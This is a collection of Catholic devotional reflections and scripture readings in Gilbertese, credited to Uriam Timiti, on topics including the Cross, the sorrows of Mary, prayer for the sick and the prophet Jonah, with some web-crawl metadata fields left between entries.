aika ti karaoi ana riai ni boto kan akaraoan te raoiroi ae boraoi ma Nanon te Atua. Ti riai n aki korotobibiaki ibukin te tua ba iroun te Atua ao ti aki makamiuaki ibukina bat i krotobibiaki ke tiaki ma ibuklin bat i kakaraoa ae nanon te Atua.\nEng ti aki kamiuaki ibukin iran te tua ma ti kamaiuaki ibukina bat i maiuakina ae botau ma Nanaon te Atua.\nN te ewanghkerio ao ti nora aroia baritaio ni kakanikoa Iesu ngke e aki E aki e urua tuan te tebokaniwae imaian te amarake n ai aron ai tua Iutia. E kaekaia Iesu ni kangai. E taju Iesus nakoia baritaio ba e aki kakakwaki ba e na tararaoi te mangko mai akuna ao e kakawaki ri ki ba e na itiaki te mangko maiananona . Are nanona ngkanne b aba ngkana ti karaoi makuri n tangira ma te nano n tangira ao n akoi ao ngkanne ao ngkanne e na rota noraki iai itiakin arora I matai aoamata. Are nanona ngkannne ba ngkana ti kan riki n raoiroi atara ao tin a kaitiaka moa nanora. Ba e kakawaki riki ba e na raoiroi nanaora nakona ae na itiaki moa tinasnikun rabatara.te inaomata Holy Gospel of Jesus Christ according to Saint Luke 11,37-41.\n- Details\n- Written by Uriam Timiti\n-\nWiki 11 Katenibong\nWarekan te kauoua ni Boki n Uea. 22:8-13; 23:1-3\nE kangai te mataniwi ni berebitero ae Irikia nakon te tia koroboki ae Taban: \"I kunea Bokin te Tua inanon ana Temboro te Uea.\" Ao e angan Taban te boki ba e na warekia. E nakon te uea te tia koroboki ae Taban, ao e kaongoa ni kangai: \"A kaburoa te tirewa are n te Temboro am tabonibai, ao a angania tani makuri aika muiokoaki n ana Temboro te Uea.\" Ao e kaongoraea te uea te tia koroboki ae Taban ni kangai: \"E anganai te boki te berebitero ae Irikia.\" Ao e warekia Taban i matan te uea. Ngke e ongo kanoani Bokin te Tua, ao e raeuai kunnikaina te uea. Ao e tuatua nakon te berebitero ae Irikia, ao nakon Aikam ae natin Taban ao Akabo ae natini Mikaia ao Taban ae te tia koroboki, ao Ataia ae ana tabonibai te uea, ao e kangai nakoia: \"Nako titirakina te Uea ibukiu ao i bukia te koraki, n taekani kanoan te boki ae a tiba kuneaki. E boni korakora unin te Atua nakoira i bukin ara bakatibu ngke a aki ira nanon te boki aei ma n aki karaoa ane koreaki iai.\" Ao e kaoia unimanen Iuta ma Ierutarem te uea, ao e waerake nakon ana Temboro te Uea ma aomatani Iuta ma kaini Ierutarem ao berebitero ma burabeti ao te koraki ni bane, aika mangori ma aika kakanato. Ao e wareka i mataia kanoani bokin te berita are kuneaki n ana temboro te Uea. E tei te uea i rarikin te boua, ao e karaoa te berita i matan te Uea ba e na kawakin ana moti, ana baire ma ana tua, ma nanona ni kabanea ao tamneina ni kabanea, ba e na kakoroa bukin te berita are makoro n te boki arei. Ao a bane te koraki ni kariaia te berita anne.\nTe Taramo 119: 33-37, 40\nKaekana: Te Uea, reireiai am tua.\nReireiai kawakin am moti, ba N na toua n tai nako,\nTuangai arou ni kawakina am tua, Ao N na kabanea nanou n taua. K\nKairai i nanoni kawain am tua, Ba bon anne kabaiau.\nKaira nanou nakon am baire, Ao tiaki nakoni karekan arou. K\nKawakini matau mani baika akea maneia, Kamaiuai n am taeka.\nNoria, I barua am tua, Kamaiuai n am eti. K\nAlleluia, alleluia.\nKo angan aonaba taekan te maiu, Ba ko raneanea i aona n ai aron otan taiani itoi. Alleluia\nWarekan ana Euangkerio Mataio. 7: 15-20\nE kangai Iesu nakoia ana reirei: \"Kawakiningkami mairouia burabeti ni kewe: a baka n tiibu i matami, ao i nanoia boni kameanti aika kakang. Kam na kinaia ni uaia. Tao a anaki kurebe man akanta? ke biku mani kai aika kateketeke? E kariki ua aika raraoi te aroka nako ae raoiroi, ao e kariki ua aika bubuaka te aroka nako ae raoiroi, ao e kariki ua aika bubuaka te aroka ae buakaka. E aki kona ni kariki ua aika bubuaka te aroka ae raoiroi, ao e aki kona ni kariki ua aika raraoi te aroka ae buakaka. Te aroka nako ae a aki raraoi uana, ao e koreaki ma n tewenakoaki n te ai. Ma ngaia ae kam na kinaia ni uaia.\nTibatiba: Kawakina ao maiuakina ana moti, ana baire ma ana tua te Uea ao E na kakoroa bukin ana Berita nakoim\n- Details\n- Written by Uriam Timiti\n-\nTibatiba: Te maiu ae kororaoi inanon te Inaomata,\nBon ana kantaninga te Atua ibukira ni kabane ba ti na bungiaki inanaon the te inaomata are te bungiaki inanon te Berita ma ana kantaninga te Atua ae maka mani mimitong are Ngaia ae karika Karawa ma aonnaba. Bon ana kantaninga ibukira te Atua bat i bungiaki ao ni maiu inanon oanaomata inanon te Uea ao tikai te tautoronaki inanon te bure\nE kaotaki nakoira ikai ba bai ni kabane aika karikaki a na riai bane n rinanon ana kantaninga te Atua ba akea te bai ae riki ni manenanti ma a bane n riki bai nako inanon ana kantaninga te Atua.\nAo tera raoi ana kantaninga te Atua ngke karika te aomata? Eng bon ti teuana ana kantaninga te Atua ngke E karika te aomata ba E na riki ba katotongan te Atua ae na riki ba rona ni maeka I Karawa n aki totoki.\nN te moani wareboki n te bong aio ao ti ongora rongorongon te burabeti ae Iona ngke e kanakoaki iorun te Aroun te Atua ba e na rairi nanoia kain Ninive. Ibukin makuna ao rawana ni kawara Niniwe ao e roko te buaka ae korakora inanon marawa ao e tuatua te burabeti ae Iona ba e na karenakoaki nako inanon marawa ba e aonga n reke te raoi. Ma ngke karenakoaki Iona ao e kabautaki naba iroun te ika ae moan te bubura ao e tiku inanon biroton te ika inanon teniua te bong ao imuina ao e a manga mumutaki Iona iroun te ika iaon te bike ao iana e mananga Iona nako Ninive n taekina te rairannano nakoia kain Ninive ao aia uea. Ibukin aia ongotaeka ao aia rairannano kain Ninive ma aia uea ao a bane ni kamaiuaki ao n aki kamaunanakoaki.\nTariu ao maneu ni kaekan aia titiraki aomata ake a kainanoi taian kanikina ba e aonga n reke te kamaiuaki irouia ao E kaekaia Iesu ni kangai; \"Ba bon te roro ae kam buakaka ngkami. Bon akea te kanikina ae kam na anganaki ba ti te kanikina are iruon Iona. Te koaua ba n tain te motikitaeka ao a na bane n teirake kain Ninive n totoko ibukina ba a tia ngaia ni rairi nanoia man ana kabarabaraba Iona nakoia ba a na rairi nanoia. Are nanona ba bon iai riki te oini bai ae moan te kakawaki riki nakon rongrongon Iona ba bon taekan Iesu are boni Ngaia te an Rikitemanna te Atua are na uota Maiu ni Koaua nakon aonnaba.\n- Details\n- Written by Uriam Timiti\n-\nWiki 12 Moanibong\nWarekan te kauoua ni Boki n Uea. 17:5-8, 13-15, 18\nE taua te aba ni kabanea uean Aturia, ao e nako ni buakana Tamaria i nanon tenua te ririki. N ana karuaiua n ririki Otea, ao e taua Tamaria uean Aturia ao e kairia Iteraera nako Aturia ba taenikai. E kamaekaia i Ara i rarikin Abora ae karangani Kotan ao n aia kawa i Miria. E riki te aro anne kioina ngke e bure Iteraera nakon te Uea ae Atuaia, are kairia rake man te aba ae Aikubita, mai ani makani Barao are uean Aikubita. A taromauria atua tabeman ao a irarang n aia katei botanaomata ake E kakioia nako te Uea mai maaia.\nE bon tia n taetae te Uea nakoni Iteraera ao nakoni Iuta, irouia nako burabeti ma tani matairiki, ni kangai: \"Kaki aromi ae buakaka ao kawakin au moti ma au baire n ai aron te Tua ni kabanea are I kateia nakoia ami bakatibu ao are I angania irouia au tabonibai ake burabeti.\"\nMa a aki ira nanona, ao a kamatoai rii nanoia nakoia ai bakatibu, ake a aki kakoaua te Uea ae Atuaia. A kaki ana tua ao te berita are E karaoia ma aia bakatibu ao ana moti nakoia. Ai ngaia are e koro unin te Uea nakoni Iteraera, ao E kakioa nako mai matana. Akea nikirana ba ti ana utu Iuta.\nTe Taramo: 60: 3-5, 12-13\nKaekana: Te Uea, buokira ni baim ae maka.\nTe Atua, Ko kaakira, ko oroira, Ko un iroura. Ko na okirira. K\nKo karurua aon te aba, ko bwenauaia; Karaoa tabwenana, ba e a mae nako.\nKo karawawata am botanaomata, Ko kamooira n te uain ae ti maraa iai. K\nTao Ko kaki taekara, te Uea, N aki manga raona ara tanga?\nBuokira n rawawatara, Ba akea manen ana ibuobuoki te aomata. K\nAlleluia, alleluia.\nE raoiakina aonaba te Atua i nanoni Kristo, ao E anganira taekan te raoi. Alleluia\nWarekan ana Euangkerio Mataio. 7:1-5\nE kangai Iesu nakoia ana reirei: \"Tai motiki taekaia aomata, ao a na aki motikaki taekami. Te moti ae kam motiki taeka iai, ao a na motikaki naba iai taekami. E aera ngkai ko tara te aneke ae i nanoni matan tarim? Ao ko aki nora te kinnara ae i nanoni matam! Ko na kanga n taku nakon tarim: 'Taningaai, ba N na buta te aneke ane i nanoni matam,' ngkai iai te kinnara I nanoni matam? Te tia kewea te aba, buta moa te kai ane i nanoni matam, ao ko a matairiki ngkanne ni buta te aneke ae i nanoni matan tarim.\"\nTibatiba: Kaki aromi ae buakaka ao kawakin au moti ma au baire n ai aron te Tua ni kabanea are I kateia","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=5","date":"2023-03-31T00:00:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949506.62\/warc\/CC-MAIN-20230330225648-20230331015648-00496.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1963,"character_repetition_ratio":0.049,"word_repetition_ratio":0.018,"special_characters_ratio":0.227,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nAikai bon ana taeka Iesu ngke e tabe n reireinia ana abotoro ma te koraki ake a iriria. Ti ataia ba inanon irirakin Iesu ao ti na bon kakamarakeaki irouna n ana Taeka ae maiu are bon taekan te Abanuea ae Karawa.\nN te Ewangkerio n te bong aio ti ongora ana kaikonaki Iesu are te tia ununiki ae e kamaenakoi ara koraa ao iai ake a baka iaon te ririba,ibuakon akanta , ao iaon te tano ae raoiroi. E kamatata Iesu n taku ba te kora bon ana taeka te Atua aika a baka iaon taano ake bon kabarabaran naano aika kakaokoro. I taku ba ti bon kona n norira ba e nga te aekaki n tano ae ti mena iai. Bon Nanon te Atua ibukira ba e na riai ni kariki ua aika bati ana taeka te Atua inanora. Boni ti ngaia aio aron motikan taekara iroun te Uea ao aron naba karekean te kabaia ae tokina- ba te kariki ua..\nTi ataia ba ngkana e na maiu raoi te aroka mani kairiki ua ao e bon riai moa katauraoan te tano ba e na ewa kanan te aroka iai. Ti bon riai ni katauraoi nanora ba e aonga n rin ana taeka te Atua mani maeu raoi ao n tokina ni kariki ua aika bati. Ti na urui taian atibu i nanora ao ti kanakoi baai aika a na karibaba ana taeka te Atua inanora. Bon iai muiokoara ba ti na taraia raoi ba e na maiu raoi koran ana taeka te Atua i nanora ao man kariki ua. Ba ngkana e aki kariki ua ana taeka te Atua inanora ao e na roko te tai are e na roko iai te toka man tuoa ba ti kariki ua ke tiaki. Aroka nako ake a aki kariki ua e na tua te toka ba a na koreaki ao man teenakoaki n te ai. Ma aroka nako ake a karika ua a bane ni katukaki ao man riki ba kakukureian nanon te toka.\nTariu ma maneu bon iai te muioko ae kakakwaki ibukira ni kabane- ba ti na riai ni kariki ua. Aio are bon irian maeura n tataro ba karaoan makuri aika raraoi ni kaota ana tangira ma ana nanoanga teAtua nakoia tarira ma manera ni kabane. E a bon tia n unika koran ana taerka te Atua inanora inanon te Babetito ao e tiku ba muikoara ae kakawaki ribanan ao kamaeuraoan te aroka aio ba e na kariki ua. Ane iai tangingana ao ke ongo!! Bon aio te rongorongo ae kakawaki ibukira ao ti na butia te Atua ana karatia ba ti na kona n ongo ana taeka te Atua ao mani kaawakin ana tua. Ti na reitaki n taai nako ma tinara Nei Maria ba e na buokira ba ti na kakaonimaki nakon Nanon te Atua ni maiura ni kariki ua aika bati.\n- Details\n- Written by Uriam Timiti\n-\nInanon ara makuri n tataro n ibuobukoki nakoia tarira ao manera aika a aoraki ao iai bai aika uoua aika a kakawaki ba ti na matata iai ao n ataia ba tera raoi te bai ae kakawaki ae ti na karokoa irouia tarira ma manera aika a aoraki.\nN angin te tai ao te bai ae ti iangoia ngkana ti tataro ma te aoraki bon ti te kamarurung ao tiaki te kamaiuaki. Ba tera te kaokoro imarenan baai aika uoua aikai? Te kamarurung bon katokan te aoraki n te rabata ao te kamaiuaki bon katokan te aoraki n te nano ma te tamnei ao karekean te reitaki n tangira ae boou ma te Uea. N rongorongoia rebera ake tengaun ao ti noria ba a kamarurungaki man aorakia ruaman rebera ma ti temanna ae kamaiuaki ba teuare e a manga oki ni karaba te Uea. E bon titiraki Iesu nakon teuare e oki ni kangai;\"Tiaki tengaun ake a katokaki aorakia? Ao a nga ake ruaman?\nEng, tariu ao maneu inanon ara tataro ni katoki aoraki ao te bai ae moan te kakawaki ba manga kaokakia tarira ma manera nakon te Uea ba aonga n riki ba taan irira Iesu. Are nanona ngkanne ba bon karokoan te kamaiuaki n te nano ma te tamnei.\nN ana taeka te Uea nakoira n te bong aei ao ti ongora rongorongoia te koraki ake a irira Iesu. Tabeman mairouia bon te koraki ake a tia ni katokaki aorakia iroun Iesu ake a tia ni kunea te reitaki n tangira ae boou ma Ngaia. Te kamaiuaki bon reken te reitaki aio ma Iesu ao te tauraoi n iriria ni katoa bong.\nN ana reta Bauro nakon Timoteo ao e kauringira Bauro arora aika a na kona ni kararoaira ma Iesu inanon ara tai n iriria. Teuana bon iangoan te kaubai are kona ni kairira nakon baruan baai aika bati riki ake a na karokoira nakon te bua ao te mate. Ba tangiran te mane (money) bon wakan taian buakaka aika bati ao karekean te tabeainaga ma te aki kukurei inanon maiura. Bai ti roko iaon te aba n akea te bai ae ti uotia ao ti na bon kitana naba te maiu aio n akea te bai ae ti na uotia.\nTi na kabanei maiura n irira te Uea ao ti na barua n taai nako te raoiroi ao karokoan te kamaiuaki irouia tarira ma manera. Ti bia reke ba taan uouta tiaki te kamarurung ma ae kakawaki riki bon te kamaiu nakoia tarira ma manera ni kabane.\n- Details\n- Written by Uriam Timiti\n-\nE roko Iesu ba E na kaota rabatan ana tangira te Atua ibuakora ao ba E na anganira Onraken te Maiu iroun Tamneina ae Raoiroi.\nE kaota makan ana Tangira ma ana Kamaiu te Uea nakoira iaon ana Kaibangaki are E uoti iai rawawatan ara bure mani kauka nakoira koburaken te maiu man ikoakin rarikina are E raanga mai iai Rarana ae moan te Tabu are E na kaitiakira man ara bure ao ni karikira ba naati ngaira iroun Tamana.\nN te bong aio, ae bon te toa ae Neboan te Kaibangaki ae moan te Tabu, ao ti a kauringaki iai ba inanon arora ni kananoanga inanon te bure ao ti na riai n taai nako n tararake nako Karawa n tara te Kaibangaki are E mate Iesu i aona ba ti aonga ni kamaiuaki. N aiaroia natin Iteraera ake a tenaaki n taian naeta ibukin aroia ni bure nakon te Atua ao a kamaiuaki man taran te naeta ae te buraati iaon te kai, ao ngaira ni kabane ti riai ni kauki nanora nakon ana kamaiu te Uea ae tauraoi ibukira n taai nako man te Kaibangaki ae moan te Tabu.\nTariu ao maneu, tera ae ti kona n noria ngkana ti katuturua taran te Kaibangaki are E mate Iesu i aona? Ti nora aron kororaoin ana tangira Iesu ibukira inanon ikoakina ma marakina ake E uoti i aon ana Kaibangaki? Ke tao ti bon tiku n nano uoua man aki rotaki nanora n te aeka n tangira aio? Angin te tai ao ti boni maninga aron kororaoin ana tangira Iesu ibukira ke tao ti katuruturua ikoakin rabatana ba ngaia oin marakin Iesu. Ma n te koaua ao bakataean ma aki mutiakinan ana Tangira Iesu bon ngaia riki te bai ae rangi ni kamaraka Iesu. Bon aio te tamnei ae I aki toki n noria inanon taran Atiniban Iesu- ba te tangira ae bakataeaki.\nTariu ao maneu ti na manga kaboua ao ni kananoa n te tai aio aron kakoauan ana tangira te Atua ibukira inanon ana Kaibangaki Iesu ae moan te Tabu. Ti na butia te Atua ba E na karanga nakoira ana karatia ba ti na teimatoa inanon te raoiroi ao ti na tataro ni bubuti buokaia taani bure ao kain te Burikatorio ba a na kamaiuaki mani makan ana Tangira ao ana Kamaiu te Atua ibuakora ae bon te kaibanganki ae moan te Tabu.\nN noran marakin Iesu i aon te Kaibangaki ao ti na motinnanoia ba ti na karakai riki ara kekeiaki ni kabebea marakina. Ao tera ae ti kona ni kabebetea marakin Iesu iai? Boni karaoan nanon ana bubuti Tinara Nei Maria nakoira n taai aikai are bon kabatian riki te tataro, te benetenia ao te aki mamatam. Ti na ongotaeka nakon ana rongorongo Nei Maria aio ngkai boni ngaia are E a tia n anganira Iesu mai aon te Kaibangaki ngke E kangai nakon Ioane;\"Aio Tinam\", ao nakon Tinana (Nei maria), \"Aio Natim\".\n- Details\n- Written by Uriam Timiti\n-\nN te Kaabong 15 Tebetemba ao e kauringaki iai rawawatan ao marakin Nei Maria. Tariu ma maneu tao e bon riai ba ti na karaui raoi ni iangoi marakin Nei Maria aikai n te aro ba ti aonga n nora ao ni kakoaua raoi ana tangira n tina Nei Maria ibukira ni kabane. Ao aikai ngkanne marakin Nei Maria ake itiua:\n1. Ana taetae ni burabeti Timeon- are e taku Timeon nakon Ioteba ma Nei Maria ba \"E na riki te Tei aio ba bakaia ao kamaiuaia aika a bati i Iteraera ao te kanikina ae na kakeweaki; ao ngkoe ( Nei Maria) e na ewaraki buroom n te kabang.\n2.Te rabanako nako Aikubita- ao e kaoti te anera nakon Ioteba inanon te mii ni matuna ni kangai;\"Teirake ao kawaekoa ni kaira te Ataei ma Nei Maria nako Aikubita ao tiku ikekei ni karokoa te tai ae N na manga tuangko, ngkai e tabe Erote ni ukeukera te Ataei ba e na kamatea.\n3. Buan Iesu te Tei n te Temboro- N okia mai Ierutarem ao a aki ataia Maria ma Ioteba ae E tiku Iesu te Tei n te temboro imuia. Ngke a ataia ba tiaki raoia Iesu ao a nako nanoia ao a manga okira Ieruterem ni kakaea.\n4. Kaitibon Iesu ma Nei Maria ngke E tabe ni uouota ana Kaibangaki- Ao a ira Iesu te koraki aika a bati ngke E uouota ana kaibangaki ao a tang man nanoangaia. Bon raoia naba te koraki tinan Iesu ae Nei Maria.\n5. E tauraki Iesu iaon te Kaibangaki- Ao a tauria ni kamarakia iaon te kaibangaki. A tei irarikina iaan ana kaibangaki Tinana Nei Maria, te reirei are rangi n tatangiraki, ao Maria Matarena. Imain matena ao e taku Iesu nakon Nei Maria; \"Neiko ao aei natim\", ao nakon te reirei, \"Ao aei tinam\".\n6. E karuoaki Raban Iesu man te Kaibangaki- Ao e roko Ioteba are te I- Arimatea ao e butia Birato ba e na anaa Rabatan Iesu. E karuoa Iesu ao e niniria n te kunikai te rinen.\n7. Taunakin Iesu- Ao n uakaan ma te tabo are tauraki iai Iesu, ao iai te ruanimate teuana ae e tuai ni kabonganaki. Ao a kawanea ikekei Rabatan Iesu n ira nanoia Iutaia ao ibukina ba e uakaan te tabo aio.\nTariu ma maneu tera am iango ni marakin Nei Maria aikai? Ao terana bukina ngkai e bane ni butimaai maraki aikai Nei Maria mani kawakin inanona?Tataroakinna ao karekea tibangam ni kabebetea marakin Nei Maria.\n- Details\n- Written by Uriam Timiti\n-\nTariu ma maneu tera ae reke nakoim ngkana ko taonaki n te aoraki ma te rawawata? Ko iangoia ba E mena ia Iesu n te tai anne? Ao ko a tia ni kakaraba te Uea ibukin taian rawawata ma aoraki aika ko taonaki iai.\nE boni koaua ae bon iai nanon te Uea ni baai ni kabane ao ti kainnanoa n taai nako te karea ae te kona n nora bain te Uea inanon baai ni kabane ao riki ai bon inanon te aoraki ma te rawawata. Ba tera raoi te bai ae riki inanon rawawatara? Ibukin nanora n tabetai ae ti tuai n tauraoi ni butimaai taian rawawata ao ti kona n taku ba e ribuaka te Uea nakoira ao akea te bai ae ti iangoia ma ti te bubuti ba ti na waekoa ni marurung. Inanon taai aikai ao e kan kaotia te Uea ba ti kainnanoia n taai nako ao E tauraoi ni buokira. Ti bon kauringaki naba ba ti na teimatoa n onimakina te Atua n ana tangira ae kororaoi n taai nako nakoira. Inanon naba taai aikai ao bon nanon te Atua ba e na kamoamoaki man neboaki ngkai boni Ngaia moani baai ma tokia- bon te Areba ao te Omega.\nNgkana akea te rawawata ma te aoraki ae ti kaitibo ma ngaia ao e na bon kanganga noran ana kamimi te Uea inanon maiura. Te bai naba ae kakawaki inanon taian kangang a ma rawawata ba aio bon ara tai ae kakawaki ae ti kona iai ni buokiia taan bure ma kain te Burikatorio. N aron te makuri ni kamaiu ae karaoia Iesu iaon ana kaibangaki ao ngaira ti riai naba n tauraoi n anga marakira ma rawawatara ibukia tani bure ma ake a raroanako ma ana tangira te Uea. Te maraki ma te rawawata bon ngaia naba kawain karekean ana karatia te Atua nakoira aika ti kainanoi ibukin kaboan muin ara bure ao karikirakeara inanon te maiu ae tabu.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1590","date":"2023-06-05T03:57:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00224.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2151,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nTibatiba: Boni Ngkoe korakorau n te maiu aio ba Nna roro nako n te maiu ae akea tokina\nBoni ngai te aomata ae I korakoraki iroum n te maiu aio ba N na kona ni kaitarai kanganga nako ba I aonga ni kona n roronako inanon te kawai ae uarereke mani wariki nakon te tokanikai ao te kabaia ae akea tokina, ike akea te bai ae kona n tukai ke ni kabaeai ba Nna aki kona n otinako ni karekea te maiu are mairoum. Man te korakora are ko anganai ao I karekea mai iai te kawai ae uarereke are kona ni karokoai inanon te tokanikai ma te kabaia ae akea tiana ma tokina. Eng, bon am karatia ae Ko anganai ae anganai te kona n tokanikai.\nBon inanon am kantaninga te Uea ibukiu ba Nna bitaki nakon kakaraoan Nanom ae ngaia I kona ni inaomata iai ni kanakoaki inanon te tai ae akea tokina ao Nna karekea te bitaki ao te onikaki nakon te maiu ae akea tokina.Ba e na bitaki te aro ni mamate nakon te maiu ae totoki.\nTi riai ni bane n ataia ba ngkana ti kitana te maiu aio ao ti toua te kawai nakon te kamoamoaki ke te kabuakakaki ba aio bon te bai ae baireia te aomata ae maiu ngkai ma bon tiaki Nanon te Uea. Ba irouia aika maiu ngkai ao bon akea aia atatai ba tera ae riki nakoia nakon tai aika a na roko imuin mateia. Ao ai uana naba ma akana a na maiu imuia. Ba te tamnei ae a tia ni mate bon akea te bai ae na ataia irouia aomata akana maiu. Ba te tamnei ae mate ao te aomata ae maiu a bon maenako n aki ata te bai ae na riki nakoia. Ti bon riai ngaira aika ti maiu ba ti na rineia ba te kawai ae ti kan toua ngkai ao tin a oimakina te Uea ba E na anganira te korakora ni kona roronako inanon te kawai ae irariki n te maiu aei ba ti aonga ni kona n roronako nakon te maiu ae akea tokina i Karawa.\n- Details\n- Written by Uriam Timiti\n-\nNgkai bon ti temanna Tamara ao nanona ngkanne ba ngaira ni kabane ti riki ba kain te Utu ae ti Teuana nanona riki ba bon ngaira taari aika ti riai ni maiu ao ni iangoia ba ara makuri tiaki bon ti ibukira n ti ngaira ma bon ibukira ngaira ni botaki n aron ana tangirira te Tama ae ti temanna ibukia natina ni kabane. E bon riai iroura ngaira taari ba ti na riai ni maiuakina te tangira ae ti teuana ngkai bon aio baera ibukin temanna ma temanna ba maiuakinan te tangira ae ti teuana ibukin te rabata ae ti teuana irouia taari ae ti temanna Tamaia ae te Atua. Eng, E bon anganira Tamara ae te Atua ana Riki Temanna ae Iesu te banna ni katoto are ti na riai ni katotonga. Iesu ae Ngaia te Atua a ruo mai Karawa ba E na kaota nakoira inanon te aro n aomata arora n tangiria tarira. Ba tera ae E karaoia Iesu? E maiu inanon abui te ririki ao E anga Rarana inanon marakina ae kororaoi ba kawain kaboara ao katabuakira nakon te natinaki ao te maiu ae aki totoki i Karawa. N aron are taku St Bauro \"bon Iesu are a tia kaboa tariu n te boo are rangi bobuaka ngke E anga maiuna n tine iaon te kaibangaki ibukira. Ngkai E mate Iesu ibukira ni kabane ao nanona ngkanne ba aomata nako bon tariu ni koaua ngkai E a tia ni mate Iesu ibukia ao E a tia ni katoka te rabunna ni kamaiu ae onrake n Raran Iesu ae moan te Tabu.\nInanon te karemo aio ao ti a manga kauringaki n te bong aio ba ti na ongo banaan Iesu ni weteira ba ti na tauraoi n tebotebo n Raran Iesu ba ti aonga ni kaitiakaki man ara bure. Ti na kitan arora ni bure ao ti ao ti na kitana te bure ao ti na karaoa te raoiroi. Ti na karekea te eti ao te riai ba kairan maiura, ti na kabarai aia bure akana bure nakoira ao ti na tangiria ara kairiribai. Ti na okira te Uea ao ti na kaeti arora ni kabane. Onimakina ana Nanoanga te Atua ae tauraoi ni kaitiakira man ara bure ni katokai kunikaira aika takia mainainaia n ai aron te tinoo. Ngkana kam ongo au taeka ao kam na kakabaiaki n tai nako ma ngkana kam rawa n ongo ao kam na karokoa uniu ae moan te bati ao kam na kamaunaki.\n- Details\n- Written by Uriam Timiti\n-\nN na neboiko ao ni karabako n tai nako te Atua ba E kororaoi am tangira n tai nako ibukiu. Te Atua e aki kona ni bitaki arom nakoiu ba ko tauraoi n anganai kororaoin am tangira ngkai Ko bon onrake n te raoiroi ao ko tauraoi n anganai bai aika I kainanoi imain ae I kaoti nakoim. Ko aki kona ni kanakoa am taratara mairou ngkai e teimatoa n rawa Nanom ba N na kabuanibai mani mate. Ko anganai te onimaki ba bon akea te tai ae ko kona ni manuokinai ao bon akea te bai ae Nna kona raraoma iai ba Ko tei irarikiu n tai nako ao ko aki kona ni kitanai.\nTe Atua ae ko onrake n te raoiroi ao te tamaroa ko raba n am taeka nakoiu n te bong aei ba N na tauraoi n bubuti nakoim ngkana iai te bai ae I kanianoia, ngkai ko tauraoi ni kaekai n tai nako. Ko tuangai naba ba ngkana I tauraoi n ukeuke ao e na bon reke kainanou mairoum ao ngkana I karebwerebwe ao ko na bon kauka te mataroa nakoiu. Ko bon anganai ikai te Uea te onimaki ba inanon au waaki ni kabane ao Ko bon tauraoi ni boukai ao n raonai n tai nako. Ko bon atai ao ko nori bai aika Nna kaitibo ma ngaai ao I ataia ba boni Ngkoe au Nono ao au Bwaa ni Kamaiu ao bon te bai ae N ria ni maku iai.\nI butiko te Atua inanon te karemo aio ba Ko na riki ba raou n tai nako Ngkoe ao ko na katanai man taian kanganaga ma kabuanibai nako. Tai katauai ba Na raurenako ma Ngkoe ma nanoangai ba Nna karekea te kanuanga are ko a tia ni katauraoia ibukiu are bon te maiu ao te kabaia ae akea tokina i rarikim i Karawa.\n- Details\n- Written by Uriam Timiti\n-\nTariu ao maneu I rangi ni karaba te Uea n te bong aio ngkai E angai te kibu ae Nna ae N kona iai n nora aron tekeraoiu ma kakabaiau ao kakawakiu iroun te Atua ngkai E a karikai ba Natina ngai ni koaua iroun Natina ae Iesu are roko iaon te aba, E tauraki mani mate ibukiu iaon te kaibangaki ao E kaboai n Rarana ae moan te Tabu ba I aonga n riki ba te aomata ae bou ae bon Natina ni koaua.\nN te bong aio ti anganaki te koaua ae moan te kamimi ba inanon kororaoin ana tangira te Uea ao ti a bane n riki ba Natin te Atua ngaira ao ti a kabaraki man te tautororonaki mai ian te bure ao ti a riki ni koaua ba Natin te Atua.\nAi kabaiara ngaira n ana tangira te Atua ibukira ba ai tiaki ngaira taian toro aika a tautaekanaki ma ti a riki ba tan natinaki ao tan baibai irarikin Iesu i Karawa.\nEng ti riai n ataia ba bon akea te bai ae ti na riai ni maku iai ba ti katobibiaki ao n rabaunaki n tainako n ana tangira te Atua are e katanira man taian kabuanibai. Ao ngkai ti bane ni katanaki n tai nako iroun te Atua ae moan te maka, moan te korakora ao moan te mimitong ao ti a taia ngkanne ba bon akea te bai ae ti na tabeaianga iai ba E kakawakinira n tai nako te Atua. N te bong aio ao ti kauringaki ba ti riai ni kororaoi n te tamaroa ao te nanoanga n aiaron Tanara are i Karawa ae oan te nanaoanga. Eng bon ana Nanoanga ao ana Karatia te Atua ae ngaia ae ti katanaki ao ni kawakinaki iai n tai nako ao boni ngaia naba ae anganira te kantaninga ba ngkana ti nim ma te Atua ao ti na kawakinaki n ana nanoanga te Atua ao ti na karekea te kabaia ae akea tokina n te Abanuea are i Karawa.\n- Details\n- Written by Uriam Timiti\n-\nTariu ao maneu ti na bane ni katauraoira inanon te karemo aio ni butimaea te kamaiuaki ae uotaki nakoira iroun ana Rikitemanna te Atua are E kanakoa nako aonteaba ba E na uota te kamaiuaiki rinanon te rairannano man arora ni bure are kararoaira ma te Atua. Ba inanon te bure ao ti raurenako ma te Atua ao ti riki ba taenikai ngaira aika ti a tia kabua te aro n natinaki iroun te Atua aika a tia ni kabwautaki nakon te rotongitong ao te mate ae akea tokina.\nMa n ana anganano ae moan te kororaoi Iesu are are tine mani mate ibukira iaon te kaibangaki ao E kaboira n Rarana ae moan te tabu ao E kauka nakoira te kamaiuaki man te toronaki n te bure ao E a manga kaoka nakoira te aro n natinaki iroun te Tama.\nInanon te moan wareboki ao ti ongo karakinan te burabeti ae Iona ngke e mananga nako Niniwe ba e na uota taekan te rairannano ao te manga okira te Atua ba aonga ni kamaiuaki.\nMa ti ataia ba rokon te 